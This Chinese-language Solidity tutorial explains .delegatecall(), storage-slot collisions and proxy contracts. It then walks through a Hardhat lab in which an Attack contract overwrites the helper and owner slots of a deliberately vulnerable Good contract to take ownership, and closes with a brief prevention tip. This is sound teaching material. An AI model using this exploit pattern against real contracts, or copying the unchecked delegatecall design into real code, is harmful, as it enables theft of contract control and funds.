跳到主要内容

.delegatecall(...)

.delegatecall() 是 Solidity 中的一个方法，用于从一个原始合约中调用目标合约中的一个函数。然而，与其他方法不同的是，当使用.delegatecall()在目标合约中执行函数时，上下文从原始合约中传递，即代码在目标合约中执行，但变量在原始合约中被修改。

通过本教程，我们将了解为什么正确理解.delegatecall()的工作原理很重要，否则会产生一些严重后果。

等等，什么？​

让我们先了解它是如何工作的。

使用.delegatecall()时需要注意的是，原始合约的上下文被传递给目标合约，目标合约的所有状态变化都反映在原始合约的状态上，而不是目标合约的状态上，即使该函数是在目标合约上执行的。

嗯，不是很清楚，我明白你的意思。所以让我们试着通过一个例子来理解。

在以太坊中，一个函数可以表示为 4+32*N 个字节，其中 4 个字节为函数选择器，32*N 个字节为函数参数。

  • 函数选择器。为了得到函数选择器，我们将函数的名称和它的参数类型进行散列，不留空隙，例如，对于像 putValue(uint value)这样的东西，你将使用 keccak-256 散列 putValue(uint)，这是 Ethereum 使用的一个散列函数，然后取其前 4 个字节。为了更好地理解 keccak-256 和散列，我建议你观看这个视频
  • 函数参数。将每个参数转换成固定长度为 32 字节的十六进制字符串，并将其连接起来。

我们有两个合约 Student.sol 和 Calculator.sol。我们不知道 Calculator.sol 的 ABI，但是我们知道他们存在一个 add 函数，这个函数接收两个 uint，并在 Calculator.sol 中把它们加起来。

让我们看看如何使用 delegateCall 来从 Student.sol 中调用这个函数

pragma solidity ^0.8.4;
contract Student {
    uint public mySum;
    address public studentAddress;

    function addTwoNumbers(address calculator, uint a, uint b) public returns (uint)  {
        (bool success, bytes memory result) = calculator.delegatecall(abi.encodeWithSignature("add(uint256,uint256)", a, b));
        require(success, "The call to calculator contract failed");
        return abi.decode(result, (uint));
    }
}
pragma solidity ^0.8.4;
contract Calculator {
    uint public result;
    address public user;

    function add(uint a, uint b) public returns (uint) {
        result = a + b;
        user = msg.sender;
        return result;
    }
}

我们的学生合约在这里有一个函数 addTwoNumbers，它接收一个地址和两个要相加的数字。它没有直接执行，而是试图在地址上做一个.delegatecall()，用于接收两个数字的函数 add。

我们使用了 abi.encodeWithSignature，也与 abi.encodeWithSelector 相同，它首先进行哈希运算，然后从函数的名称和参数类型中取出前 4 个字节。在我们的例子中，它做了以下工作。(bytes4(keccak256(add(uint,uint))，然后将参数--a，b 附加到函数选择器的 4 个字节上。这些都是 32 字节的长度（32 字节=256 位，这也是 uint256 可以存储的）。

所有这些在连接后被传递到委托调用方法中，在计算器合约的地址上被调用。

实际的加法部分并不那么有趣，有趣的是计算器合约实际上设置了一些状态变量。但是请记住，当数值在 Calcultor 合约中被分配时，它们实际上是被分配到了学生合约的存储器中，因为 deletgatecall 在目标合约中执行函数时使用了原始合约的存储器。那么到底会发生什么呢？

从以前的课程中你知道，solidity 中的每个变量槽都是 32 字节，也就是 256 位。当我们使用.delegatecall()从学生到计算器时，我们使用了学生的存储空间，而不是计算器的存储空间，但问题是，即使我们使用了学生的存储空间，槽的数量也是基于计算器合约的，在这种情况下，当你在 Calculator.sol 的 add 函数中给结果赋值时，你实际上是将值赋给了学生合约中的 mySum。

这可能是个问题，因为存储槽可以有不同数据类型的变量。如果学生合约中的值是按这样的顺序定义的呢？

contract Student {
    address public studentAddress;
    uint public mySum;
}

在这种情况下，地址变量实际上最终会成为结果的值。你可能会想，一个地址数据类型怎么可能包含一个 uint 的值？要回答这个问题，你必须想得低一点。最后，所有的数据类型都只是字节。地址和 uint 都是 32 字节的数据类型，所以结果的 uint 值可以被设置在地址公共 studentAddress 变量中，因为它们都还是 32 字节的数据。

实际使用案例​

.delegatecall()在代理（可升级）合约中被大量使用。由于智能合约默认是不可升级的，使其可升级的方法通常是有一个不改变的存储合约，其中包含一个执行合约的地址。如果你想更新你的合约代码，你就把执行合约的地址改成新的东西。存储合约使用.delegatecall()进行所有调用，这允许运行不同版本的代码，同时随着时间的推移保持相同的持久化存储，无论你改变多少个实现合约。因此，逻辑可以改变，但数据永远不会被分割。

使用 delegatecall 进行攻击​

但是，由于.delegatecall()修改了调用函数的合约的存储空间，如果.delegatecall()没有正确实现，就会设计出一些讨厌的攻击。我们现在将模拟一个使用.delegatecall()的攻击。

会发生什么？​

我们将有三个智能合约 Attack.sol, Good.sol 和 Helper.sol 黑客将能够使用 Attack.sol 用.delegatecall()来改变 Good.sol 的所有者。

构建​

让我们建立一个例子，你可以体验一下攻击是如何发生的。

创建项目​

要建立一个 Hardhat 项目，打开终端并执行这些命令

npm init --yes
npm install --save-dev hardhat
# 如果你使用的是 Windows 机器，请做这个额外的步骤，同时安装这些库:)
# npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
npx hardhat

选择创建一个基本样本项目 对已经指定的 Hardhat 项目根按回车键 在是否要添加.gitignore 的问题上按回车键 在 "是否要用 npm 安装这个样本项目的依赖项（@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers）？ 现在你已经有一个准备好的 hardhat 项目了!

让我们从创建一个看起来很无辜的合约开始 - Good.sol。它将包含 Helper 合约的地址，以及一个叫做 owner 的变量。函数 setNum 将对 Helper 合约做一个委托调用（）。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Good {
    address public helper;
    address public owner;
    uint public num;

    constructor(address _helper) {
        helper = _helper;
        owner = msg.sender;
    }

    function setNum( uint _num) public {
        helper.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
    }
}

在创建完 Good.sol 后，我们将在合约目录下创建名为 Helper.sol 的 Helper 合约。这是一个简单的合约，通过 setNum 函数更新 num 的值。由于它只有一个变量，该变量将永远指向槽 0。当与 delegatecall 一起使用时，它将修改原始合约中 0 号槽的值。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Helper {
    uint public num;

    function setNum(uint _num) public {
        num = _num;
    }
}

现在在合约目录下创建一个名为 Attack.sol 的合约，并编写以下几行代码。我们将逐步了解它是如何工作的。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./Good.sol";

contract Attack {
    address public helper;
    address public owner;
    uint public num;

    Good public good;

    constructor(Good _good) {
        good = Good(_good);
    }

    function setNum(uint _num) public {
        owner = msg.sender;
    }

    function attack() public {
        // This is the way you typecast an address to a uint
        good.setNum(uint(uint160(address(this))));
        good.setNum(1);
    }
}

攻击者将首先部署 Attack.sol 合约，并在构造函数中获取一个 Good 合约的地址。然后，他将调用攻击函数，该函数将进一步最初调用 Good.sol 中的 setNum 函数。

值得注意的是，最初调用 setNum 的参数，它是一个被打成 uint256 的地址，这是它自己的地址。在 Good.sol 合约中的 setNum 函数接收到作为 uint 的地址后，它进一步对 Helper 合约进行委托调用，因为现在帮助者变量被设置为 Helper 合约的地址。

在 Helper 合约中，当 setNum 被执行时，它设置了_num，在我们的例子中，现在是 Attack.sol 的地址被打成了一个 uint，进入 num。请注意，由于 num 位于 Helper 合约的 0 号槽，它实际上会把 Attack.sol 的地址分配给 Good.sol 的 0 号槽。喔... 你可能知道这是怎么回事了。Good 的 0 号槽是帮助者变量，这意味着，攻击者现在已经成功地将帮助者地址变量更新到它自己的合约上。

现在，帮助者合约的地址已经被 Attack.sol 的地址覆盖了。在 Attack.sol 的攻击函数中被执行的下一件事是另一个 setNum，但数字为 1。数字 1 在这里没有任何意义，它可以被设置成任何东西。

现在，当 setNum 在 Good.sol 中被调用时，它将把调用委托给 Attack.sol，因为帮助器合约的地址已经被覆盖了。

Attack.sol 内的 setNum 被执行，它将所有者设置为 msg.sender，在这种情况下就是 Attack.sol 本身，因为它是委托调用的原始调用者，而且因为所有者在 Attack.sol 的槽 1，Good.sol 的槽 1 将被覆盖，也就是它的所有者。

攻击者能够改变 Good.sol 的所有者 👀 🔥。

让我们试着用代码来实际执行这个攻击。我们将利用 Hardhat 测试来演示这个功能。

在测试文件夹中创建一个名为 attack.js 的新文件，并添加以下几行代码

const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { ethers, waffle } = require("hardhat");

describe("Attack", function () {
  it("Should change the owner of the Good contract", async function () {
    // Deploy the helper contract
    const helperContract = await ethers.getContractFactory("Helper");
    const _helperContract = await helperContract.deploy();
    await _helperContract.deployed();
    console.log("Helper Contract's Address:", _helperContract.address);

    // Deploy the good contract
    const goodContract = await ethers.getContractFactory("Good");
    const _goodContract = await goodContract.deploy(_helperContract.address);
    await _goodContract.deployed();
    console.log("Good Contract's Address:", _goodContract.address);

    // Deploy the Attack contract
    const attackContract = await ethers.getContractFactory("Attack");
    const _attackContract = await attackContract.deploy(_goodContract.address);
    await _attackContract.deployed();
    console.log("Attack Contract's Address", _attackContract.address);

    // Now lets attack the good contract

    // Start the attack
    let tx = await _attackContract.attack();
    await tx.wait();

    expect(await _goodContract.owner()).to.equal(_attackContract.address);
  });
});

要执行测试以验证 Good 合约的所有者确实发生了变化，在你的终端上指向包含本级所有代码的目录，执行以下命令

npx hardhat test

如果你的测试通过了，那么 Good 合约的所有者地址确实被改变了，因为我们在测试结束时将 Good 中所有者变量的值等同于攻击合约的地址。

Lets goo 🚀🚀

预防​

使用无状态库合约，这意味着你委托调用的合约应该只用于执行逻辑，而不应该维护状态。这样一来，库中的函数就不可能修改调用合约的状态。

参考文献​